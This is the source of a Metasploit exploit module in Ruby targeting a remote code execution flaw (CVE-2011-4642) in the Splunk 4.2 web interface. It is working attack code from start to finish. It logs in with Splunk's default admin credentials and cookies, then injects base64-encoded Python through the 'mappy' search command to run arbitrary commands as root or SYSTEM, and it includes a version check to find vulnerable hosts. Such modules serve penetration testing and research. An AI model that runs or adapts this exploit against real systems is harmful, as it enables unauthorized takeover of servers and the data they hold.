metasploit-framework/modules/exploits/multi/http/splunk_mappy_exec.rb

177 lines
4.5 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Splunk Search Remote Code Execution',
'Description' => %q{
This module abuses a command execution vulnerability in the
web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists
in the 'mappy' search command which allows attackers to run Python code.
To exploit this vulnerability, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface
runs as SYSTEM on Windows and as root on Linux by default.
},
'Author' =>
[
"Gary O'Leary-Steele", # Vulnerability discovery and exploit
"juan vazquez" # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '77695' ],
[ 'BID', '51061' ],
[ 'CVE', '2011-4642' ],
[ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ],
[ 'URL', 'http://www.sec-1.com/blog/?p=233' ],
[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ],
[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ]
],
'Payload' =>
{
'Space' => 1024,
'Badchars' => '',
'DisableNops' => true
},
'Targets' =>
[
[
'Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win', 'linux']
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 12 2011'))
register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ])
], self.class)
end
def exploit
@username = datastore['USERNAME']
@password = datastore['PASSWORD']
@auth_cookies = ''
p = payload.encoded
print_status("Using command: #{p}")
cmd = Rex::Text.encode_base64(p)
print_status("Attempting to login...")
do_login
send_request_cgi(
{
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => @auth_cookies,
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Session' => @auth_cookies.split("=")[1]
},
'vars_post' =>
{
'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")",
'status_buckets' => "300",
'earliest_time' => "0",
'latest_time' => ""
}
}, 25)
handler
end
def check
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)
if res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def do_login
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)
cval = ''
uid = ''
session_id_port =
session_id = ''
if res and res.code == 200
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
else
raise RuntimeError, "Unable to get session cookies"
end
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'vars_post' =>
{
'cval' => cval,
'username' => @username,
'password' => @password
}
}, 25)
if not res or res.code != 303
raise RuntimeError, "Unable to authenticate"
else
session_id_port = ''
session_id = ''
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
@auth_cookies = "#{session_id_port}=#{session_id}"
end
end
end